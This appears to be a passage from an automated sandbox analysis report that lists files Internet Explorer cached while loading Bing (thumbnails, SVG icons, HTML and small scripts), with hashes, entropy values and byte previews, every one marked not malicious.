MD5:	615F1E169A6E7183CC5168258A331776
SHA1:	BD08005F7489FDB23E62AC745B8D244A704115E0
SHA-256:	C5F8CBDFF17E58F1D8502366A0ABEC43E5204098BBDE5FC8C91BED76223324E2
SHA-512:	776A237A8D506EDA8C461CBB2EA264AB92E844691120B467E310035E4C10E13BE0F745422D9FCEE8342961E1C08617754A821D1E2E7F98D81E0207FBEB45EE30
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fi584.img&ehk=dfl%2bR3dwqSLwpwPVO7smRtXbeZcs4ElRDOejoKKNn4I%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....`.`.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..pi3E..a.\.Q@...t......QHAA.QL....P..E..QE..)I.i)x.@":(..!F)..F..6.u.R.Q@!....(+QsnQ...8.1N..m%:..XJ)h.V...(..(......C...b.E-....B}....I..S...m>1..kr.(.;..k+.J$Ei6....0..T.&.EL1.U)....b..F.j\|..d.P.Lc...\...v).)q.W.)...\U...f........QZ...c..D..z......-2..]...[.......c..........)..(..\R..^X.J`.....HG.9.S.!G.h.=.7X...l\|.`}j..V3..N.V.P8.G.)....&2...zV....O.V".?

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\th[4].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	7167
Entropy (8bit):	7.934137514608077
Encrypted:	false
SSDEEP:	192:pPWkVLcn6gvx1imz1SaT4aCVN5QTg+IvQ1D6k:59+6gvx1zS73Ne0vq7
MD5:	399AB5A4790FFDDBE9B917F5C3374C65
SHA1:	D788D105B2C8BAF840B30C0268DC6F8C47D6D5A6
SHA-256:	2CA1FFE43C5E92F7FA661EEC90888E13FA98B4F69441318D359C77BC19073F1D
SHA-512:	C7B197FEC81AA5D57574337606C8115F0AD9E1C734CE01F6A41302DBEEA6A3AFA1E6093B0478EEFBF9796A299A55F1B6C35705AF7489D4D6014B34828573FF64
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fi2Ow.img&ehk=OQsKDUqL7EMqghAwKvOKweh98q%2fbEN8M6ZN76lFf%2bwg%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....b....[9 .#vb....q...].Z.}Yn..g...3..H. ..a......yO......A?...?..i._.iwI...Ep..~.5....T.I.'.k...)...nZ..D..I$.c.K.g..&.t.B.]N.H.#..B.r.,.0.....<.......'.dFI.K@....A..9QT.u....:...Zf$p.............T.I'...n...a.xP.p3..........ch....4.5!....$dz.&....Q.1.."..z.....=p.#...dv.&....+.I..p.r..6.I...O$....t.w.)3....JO.~T..S.T.B.=W....\....I.u........4...$.p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\th[5].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	8530
Entropy (8bit):	7.957613076175718
Encrypted:	false
SSDEEP:	192:pPZ9iRdfknUslvgKq1XWwBtmKTy9wPNMoB399J4cqXPmW:5Z9kdf2ZgKq1mum0MoBd41f5
MD5:	3D3E9A51FCC499AE22059FCB6A0660BA
SHA1:	F76B030DE6C88A5FC13E1355508A9C0298D6AF91
SHA-256:	8F65302F4278661E2721314E6F1738FB1F72CCC060B94FE12C7401486296E2F1
SHA-512:	01E396E54DCF53C9EEE8AA3E29493291E664E251435CC7DFF7F823B5974B0C1977B11525AA86F366777134F9AC594FCCDDA1CD20A14BD70CBF28A743DE8D7D9C
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fhUxT.img&ehk=spkAuMJVG3xjF5gYRovkH%2fzrgTFc8NrIiyubHEZlXkE%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.~.nL...R..)..C....E.G...p...bf.].....:S....r>..Wq.J9.......:..;......A.....Gbp....X..L.Y.......a..B......@2m.....F-l...=... W...t1Devul......u5\|.i...R+o.f.F...>`.]....;;D`#.U.p....~.....m..m$..s0.....x.Qv...A.W..=.;.Z...G...[[.[..@..F.h..".x....s,k.$.VGf!B.....W~'._K......3...e..a.....H.)p..,k...,A....{u.Rz.....yQ.h.fw...R}.+...i.3%...d......$..K.m.....E..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\th[6].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 350x350, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	7474
Entropy (8bit):	7.941410417196082
Encrypted:	false
SSDEEP:	192:NPBvRdZQ9pEUZVOYwttP9Vtp40gUjn0lV:VBvRgB3y9VteUQlV
MD5:	13DBEE7C856CF142A28D757947B14459
SHA1:	9106DE20E19AB819BF8A71879420B53FF0199684
SHA-256:	10F5AFBFDFC63FA1A4940EFF0A14D774C807834A045968B208FC78BC8FE1DE71
SHA-512:	6748B8889A6D43C6BB6DA13310508E6AE3DF782B0341F4EA6A6CB4CA226ED9E67587095F86EF84B0AFAE3ED57CD7CE01BF5D827C645CC0A3A80F5BEF3CC358B7
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fi9p4.img&ehk=zU%2f4yR%2bfMhWe5pnUIGAW4Rf6Yu7%2fpHei%2btI87GH0ySM%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....^.^.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...x...1.b..........i.e6....c..A..Q...Iw.V..mr..J..N[.t.X....X.....J..1........+....).nh........9..9F..{.y8.......GvcxcP......j..-..R.0.O#.;...}I..R.F.Zs_\.......9...5.4.$...;Xm.8..`?......3Hs....-..H...Kk..b.1....I.%.#....O\.a..an.L.YT....ff..u..,Ej.N...8.di.F....p.9..j....IY......y%H.Z..&..2.,H>k....Kw.S...C..p.fC../...aFM$.WCz.....[.]...H..9..qHu;.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\th[7].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	9224
Entropy (8bit):	7.939686542739047
Encrypted:	false
SSDEEP:	192:5PO3KCG+3AtVXTgS6k9E12I0jKdgwYR3EZfY6:JmKZ+3AXjgnkVImKdgTY/
MD5:	79EE847AEAABDD1E45159D2830E0442C
SHA1:	155322CAA981F73E3011D5F1B92F7BC13471621C
SHA-256:	BC2BBE0D7A391C9519F8ED4A3B58DBAF86D55C45D4C57F21A4B7466EB46CFE06
SHA-512:	D93024C26A6BC98196F5FC9CDAE626A194F461635E71CEAE46C773C8F6E751451488862E6D85BC8C448CDAB9A944B4BFFCDEC3C2916BB3AC7495F038ABA8A145
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fibqB.img&ehk=lDpJLyHCMowq4uBGbhYIXhkraS3DJQM3a8Oyr9vQxb0%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....H.H.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.z...f9m3n.V.l.i.........oe.l...l.R...+w_..=G......H.....; F.R)I.r.u8.q..-.A#.u1.k.1....v..009.J...-nf.E.:....v\........._...yS..;...X.-i............J...I.......1]^.....(....}.2..&..5.v..u.p..0.x.....!.]..t..P...mo.f..y?u....^..=.....r..e.-...2c....z.j_.Ks.lof..H.....9..c.n....z.....\.$.... ..q.......J4....,.C.q.............1.8..@...u...y.Qk..w...H.~.v

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\th[8].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	3405
Entropy (8bit):	7.840054904653915
Encrypted:	false
SSDEEP:	96:pPE6xik4dLW7yfazoSGlvMWuDz93IAOgbpJBNe3lb:pPUdLWGiz+lLuDz9YmpHm
MD5:	705C72A6F4BD4C8546CCB432CCE0D6A3
SHA1:	94382BFA602F8A19CB21B5895815754BCEA18A13
SHA-256:	B7DB744A0C9F97A34919837B1023D05CE79936C7B3A5F43392F1233265428415
SHA-512:	25A49F078828DFC327D8819DFB31C420E4E56DD92BCD1C687863AAE6BF98CFA244AD57BAD3166B4C97CD7F2D42039B9768618B4C255BBC3FA84930B1D33021CD
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fhntd.img&ehk=QPkJ6XXH%2fAKe0mkWgulu%2fcLHMomF7UITRqFRRPYmr5g%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....`.`.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....u.S.U.#.?..=?:.....c.....dJ.A..;w4.....LZ'.3.....=Md...I.V.......&...2U...(...!V.w.q...y.....}O"...a.v..U..d...?....7'...N.&.p.m4......5y..$8.........XY.\|...jK.Bc....9x..)_Vg).8...f.t...Z....]..?.].Vr.+.i..'..<..ZzRL.<...T...yQ#..F...Q..}b..)..[.......e.q.y..!.q.........]. ..`t...E.z.i...:A..........Pj.^\|fH......s...z.D........1T.'....2....R.......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\th[9].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	4005
Entropy (8bit):	7.883949948835025
Encrypted:	false
SSDEEP:	48:pyYcuERAM2jH4q4faD8e/r7M+CKBXUQE4ujTJODE76IU7fed8k4NGEOOCKcxZoNU:pPE+jHLD8UPMyX9ERd6IXKcxqNjlC
MD5:	F0AF6E10839001ABCE369EE02F5D0115
SHA1:	CE6B134F19C3023E011932B8361ACDFB6D15E14A
SHA-256:	1C1D499E11DFBFC8354FFB52F955AE613FCB90DDB60E00A87C0F6BC828FDDFEE
SHA-512:	DC9CDC6D6344D9EAA268EAE68DDEDDC34954D562AE66976D580F7218783CB003AED35A5D18E93FBE5C1F8E90F1EB41BEE0B5C51634D50F14F146B446D80ED1A2
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fi2fi.img&ehk=1ha0338pQs3MYV0qtdEMjBO7B2B6uPy7qRvQ4mJp6A4%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....`.`.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..1.F=........ .Nb......v.C...z.IxI.Y..H'..`;..OE.u.Zi..=...\|.T...u.#..'..f.chSr..~..uk.....x.q7..Fw....g.n.h.=.Q..$..VC..*....<;...[<.....5s.....{.Et..=+.N.s..4.f......qcgh..n.e .D9....4-CGe...C..C+}.._..kqz..V.c3.>..9?.3T...4..f.,..q.[...W...Vz.x.b.<S..5..oo<..6...a.A...a..N6.m..JV.Z6qW..U....&.B..DV..HW..!..V.`^.$S7PM..#mf.B_5..FU".{..Y....,..k...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\uYzy_SF_Qx-quOm8IecsaqSoOd0[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1400
Entropy (8bit):	4.810462023135915
Encrypted:	false
SSDEEP:	24:t4LxHXU4dxCey0fA53J/S/7/sG5BmefEqrR5GTGOby2NF2E/:+x3U4S55Z/aB5BmefEqrRYK6
MD5:	2C4837A751CDB1A7366A56A0BD33EF59
SHA1:	B98CF2FD217F431FAAB8E9BC21E72C6AA4A839DD
SHA-256:	AA593C656009A40AC1782DD6FEE1EF31F9D4CCAD9F3F657DDF9A72C1EB7E553A
SHA-512:	79DBB36F29034FCB52BA9C51A01346F9CEA694CAEBA9B149EEB66DB732B73C01C71FB7F4FBA892E67523E955153FAE4D0148C1024291CBBA0CBFC26FC5C8641E
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/uYzy_SF_Qx-quOm8IecsaqSoOd0.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 40 40" style="width:64px;height:64px;">.. <style type="text/css">.. .anim {.. animation-name: blink;.. animation-duration: 1s;.. animation-iteration-count: infinite;.. fill: #05E9F5;.. transition-timing-function: linear;.. }.. @keyframes blink {.. 0% {.. opacity: 0.. }.. 50% {.. opacity: 1.. }.. 75% {.. opacity: 1.. }.. 100% {.. opacity: 1.. }.. }.. .delay1 {.. animation-delay: 0s;.. }.. .delay2 {.. animation-delay: .125s;.. }.. .delay3 {.. animation-delay: .25s;.. }.. .delay4 {.. animation-delay: .375s;.. }.. .delay5 {.. animation-delay: .5s;.. }.. .delay6 {.. animation-delay: .675s;.. }.. .delay7 {.. animation-delay: .75s;.. }.. .delay8 {.. animation-delay: .875s;.. }.. </style>.. <circle class="delay1 anim" cx="20" cy="8" r="3" />.. <circle class="dela

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\A3AS6HK7.htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	60375
Entropy (8bit):	5.762616771639474
Encrypted:	false
SSDEEP:	1536:GdrSCXrLQ4o3HuzcpUQ83ETOuKsIecFXdAjvd594fJLYvmpWfb097Q53Opw:GhLQt3OwmQ8sd59RZew
MD5:	09C020DB00E5D29853CB187DA1D96AC1
SHA1:	D243C98683425D934522BA2DE9074B963A831083
SHA-256:	79E0AC403758E0C6D850EB4C3EA7ACBF0D7F4B059FACCF27A64FFD4BF4035461
SHA-512:	64A26DAD5D148A035D403125CCB2658489DCF24A4EA5D061C3129392259703A64537D26BC1CC032D82EF22FEAEC1FD63F25BBFF29A11720F14D4F0020D4513FF
Malicious:	false
IE Cache URL:	https://www.bing.com/?form=REDIRERR
Preview:	<!doctype html><html lang="en" dir="ltr"><head><meta name="theme-color" content="#4F4F4F" /><meta name="description" content="Bing helps you turn information into action, making it faster and easier to go from searching to doing." /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta property="fb:app_id" content="570810223073062" /><meta property="og:type" content="website" /><meta property="og:title" content="Info" /><meta property="og:image" content="https://www.bing.com/th?id=OHR.EggTree_ROW9453259256_tmb.jpg&rf=" /><meta property="og:image:width" content="1366" /><meta property="og:image:height" content="768" /><meta property="og:url" content="https://www.bing.com/?form=HPFBBK&ssd=20210404_0700&mkt=de-CH" /><meta property="og:site_name" content="Bing" /><meta property="og:description" content="If you find yourself in Germany or Austria around " /><title>Bing</title><link rel="shortcut icon"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\CMm2G4GK3T9XHTMByeN2QI1OVUs[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:51:08], progressive, precision 8, 160x158, frames 3
Category:	downloaded
Size (bytes):	12415
Entropy (8bit):	7.878337322573188
Encrypted:	false
SSDEEP:	384:dnoYiTiJAAcGIs8E76ZFIN92VPGeBe+ELS:dnyiCAcGIu2FIN92REm
MD5:	A0BFF1A68EAB91DAC459F3B2EB4B3DE3
SHA1:	08C9B61B818ADD3F571D3301C9E376408D4E554B
SHA-256:	7DB453C22084AEF847E1CA04E9FC1B1CF0D468A5C11ABF3C09968C840CD96A87
SHA-512:	3685F5DD0B8869A0B71C4CADF4FE8559094DC431FEE1E14C349BF6E933702B90136EE45277A97627F69BBB6FAB5ED9EF98AFEBCF88079C5EFFEBD4100B64CE21
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/CMm2G4GK3T9XHTMByeN2QI1OVUs.jpg
Preview:	......JFIF.....H.H.....>Exif..II...............J...........R...(...........1.......Z...2.......f...z...H.......H.......GIMP 2.10.8.2019:07:31 17:51:08...............................................................................................P...................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.........,f.iJ..b..vR..6.@...T..8..0%H...8...cH.I.S.F(.....yZLS.....P..1.,i1F(.s.&.....+..iqR/.(.E.".Q.M)VYiR

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Jl2vUSlEIqWjk-99MuYp4W74zvQ[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1529
Entropy (8bit):	4.135964697042234
Encrypted:	false
SSDEEP:	24:tVvnjuJOeUsc4wg5a2/gt+lm/3HljKR99U1TrD3ptYZ7GDlh6mI0jeI4dIwDq8rz:rn1edcjg5pm/lKRXU1TrD5tJf6mzjidJ
MD5:	6D8EF11CB1C03B39D9ED4E4C9A2190B9
SHA1:	265DAF51294422A5A393EF7D32E629E16EF8CEF4
SHA-256:	D72BEAE30A6B2B36C3E03847CE4EA04211D7373D4066FF937A7A05DF4E0C3DB6
SHA-512:	C8820BDF2FC34CCFF7018A1C1E3E74ED1FE0B287926050F9B6BA59C08DCC216E8732F862AB0BF086BC05275C51E6F81132AFA60F6D50A19585642BC906DCDD92
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/Jl2vUSlEIqWjk-99MuYp4W74zvQ.svg
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">..<path d="M8 0C6.41775 0 4.87103 0.469192 3.55544 1.34824C2.23985 2.22729 1.21447 3.47672 0.608967 4.93853C0.00346629 6.40034 -0.15496 8.00887 0.153721 9.56072C0.462403 11.1126 1.22433 12.538 2.34315 13.6569C3.46197 14.7757 4.88743 15.5376 6.43928 15.8463C7.99113 16.155 9.59966 15.9965 11.0615 15.391C12.5233 14.7855 13.7727 13.7602 14.6518 12.4446C15.5308 11.129 16 9.58225 16 8C16 5.87827 15.1571 3.84344 13.6569 2.34315C12.1566 0.842854 10.1217 0 8 0V0Z" fill="white"/>..<path d="M3.72395 9.60957L5.72394 11.6096C5.97398 11.8595 6.31306 12 6.66661 12C7.02016 12 7.35924 11.8595 7.60928 11.6096L12.2759 6.9429C12.4033 6.81991 12.5049 6.67278 12.5747 6.51011C12.6446 6.34744 12.6814 6.17248 12.6829 5.99544C12.6845 5.8184 12.6507 5.64283 12.5837 5.47897C12.5167 5.3151 12.4177 5.16623 12.2925 5.04104C12.1673 4.91585 12.0184 4.81685 11.8545 4.74981C11.6907 4.68277 11.5151 4.64903 11.3381 4.65057C11.16

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\KC_nX2_tPPyFvVw1RK20Yu1FyDk[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	726
Entropy (8bit):	4.636787858533541
Encrypted:	false
SSDEEP:	12:tbH41nlcWYiB1+Xl0ML2t1iOfEmmgaUEUZQ6nMAIPWSxs4yPISEIe9t8aayPISEx:t741nTYifqLL2+O7mgaxSQ6MFnE3nkO
MD5:	6601E4A25AB847203E1015B32514B16C
SHA1:	282FE75F6FED3CFC85BD5C3544ADB462ED45C839
SHA-256:	6E5D3FFF70EEC85FF6D42C84062076688CB092A3D605F47260DBBE6B3B836B21
SHA-512:	305C325EAD714D7BCBD25F3ACED4D7B6AED6AE58D7D4C2F2DFFCE3DFDEB0F427EC812639AD50708EA08BC79E4FAD8AC2D9562B142E0808936053715938638B7C
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/KC_nX2_tPPyFvVw1RK20Yu1FyDk.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16">.. <path d="M0 0h16v16h-16v-16z" fill="none"/>.. <path fill="#007DAA" d="M11 4h4l-5-4v3c0 .552.447 1 1 1zm-3-1v-3h-4.5c-.828 0-1.5.672-1.5 1.5v13c0 .828.672 1.5 1.5 1.5h10c.828 0 1.5-.672 1.5-1.5v-8.5h-4c-1.654 0-3-1.346-3-3zm4.707 10.707c-.181.181-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293s.293.431.293.707-.112.526-.293.707zm0-5.414c.181.181.293.431.293.707s-.112.526-.293.707-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293z"/>..</svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\MstqcgNaYngCBavkktAoSE0--po.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	391
Entropy (8bit):	5.184440623275194
Encrypted:	false
SSDEEP:	12:2Qxjl/mLAHPWEaaGRHkj6iLUEkFKgs5qHT:2QC8H+aGRHk+i1kFKgs5qHT
MD5:	55EC2297C0CF262C5FA9332F97C1B77A
SHA1:	92640E3D0A7CBE5D47BC8F0F7CC9362E82489D23
SHA-256:	342C3DD52A8A456F53093671D8D91F7AF5B3299D72D60EDB28E4F506368C6467
SHA-512:	D070B9C415298A0F25234D1D7EAFB8BAE0D709590D3C806FCEAEC6631FDA37DFFCA40F785C86C4655AA075522E804B79A7843C647F1E98D97CCE599336DD9D59
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/MstqcgNaYngCBavkktAoSE0--po.gz.js
Preview:	(function(){function n(){var n=_ge("id_p"),t,i;n&&(t="",i="",n.dataset?(t=n.dataset.src,i=n.dataset.alt):(t=n.getAttribute("data-src"),i=n.getAttribute("data-alt")),t&&t!=""&&(n.onerror=function(){n.onerror=null;n.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=";n.alt=""},n.onload=function(){n.alt=i},n.src=t))}n()})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\PA3TC2iNXZkiG2C3IJp5VAvC_yY.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	930
Entropy (8bit):	5.191402456846154
Encrypted:	false
SSDEEP:	24:GFUFqJYYmaLOTCE20aOtZP9F3a6MakIq+lvyUJ9sq5aOB:BWOWEZP9U6MHEvyUJ9s6
MD5:	73BFB9BB67A7271E257A4547007469A5
SHA1:	28F7B820679A99318E0DC596A54480D6AD5C3661
SHA-256:	A22BB5BD48C4C578C6BC4FDC4B8FF18F9162848F14E05AE283EC848B08EC8C15
SHA-512:	432142851A492C7635B764AC5293B6EFC943624FBD2FEA5D0F2D8900208B5F6233F5563B7CC08F314E29889B2628F298355484700816A3679F6A3315E63581F0
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/PA3TC2iNXZkiG2C3IJp5VAvC_yY.gz.js
Preview:	var ShareDialog;(function(n){function i(){t("bootstrap",arguments)}function r(){t("show",arguments)}function u(){t("showError",arguments)}function t(n,t){for(var r=["shdlgapi",n],i=0;i<t.length;i++)r.push(t[i]);sj_evt.fire.apply(null,r)}n.bootstrap=i;n.show=r;n.showError=u})(ShareDialog\|\|(ShareDialog={})),function(n){function i(){t==0&&u()}function r(){sj_evt.unbind("shdlgapi",i)}function u(){t=1;var n=ShareDialogConfig.shareDialogUrl+"&IG="+_G.IG;n=e(n,["uncrunched","testhooks"]);sj_ajax(n,{callback:function(n,i){n?(t=2,i.appendTo(_d.body),r(),f()):t=3},timeout:0})}function f(){var n="rms";_w[n]&_w[n].start()}function e(n,t){var i,r,u;for(r in t)u=new RegExp("[?&]"+t[r]+"=[^?&#]*","i"),(i=location.href.match(u))&&i[0]&&(n+="&"+i[0].substring(1));return n}function o(){n.inited=0}function s(){n.inited\|\|(n.inited=1,sj_evt.bind("shdlgapi",i,!0),sj_evt.bind("ajax.unload",o,!1))}var t=0;s()}(ShareDialog\|\|(ShareDialog={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Passport[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.086971439676268
Encrypted:	false
SSDEEP:	6:qzxUe3X965+zAqEFtTNfYEAn4TXQ3SOFCL0H4WZhCroOI:kxFkXq6tTRYEVTAx4IHH7CroOI
MD5:	7B7D5DA1B057EB0D5A58C2585E80BACA
SHA1:	29714CD8C570E321C1C1C991E77ACE3945312AC6
SHA-256:	023CD9B7315636BE1BE24DC78144554B0E76777BD476ED581378172DE9B12A05
SHA-512:	1A4E36E3124968166579C04D05A1325242E1DFE20DF4C804081487A019B88395A679A439525488F78B73334C5B0BD38D61E24F8E23F2F8274C6BAC323291CEE8
Malicious:	false
Preview:	<html><head><title>Bing</title></head><body>Loading...<script type="application/x-javascript">//<![CDATA[.var _w = window; var o = _w.opener; var mainWindow; (mainWindow = o) \|\| (mainWindow = _w.parent); if (mainWindow) {mainWindow.sj_evt && mainWindow.sj_evt.fire("wl:cancel"); };if (o) _w.close();;.// </script></body></html>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Passport[2].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	329
Entropy (8bit):	5.086971439676268
Encrypted:	false
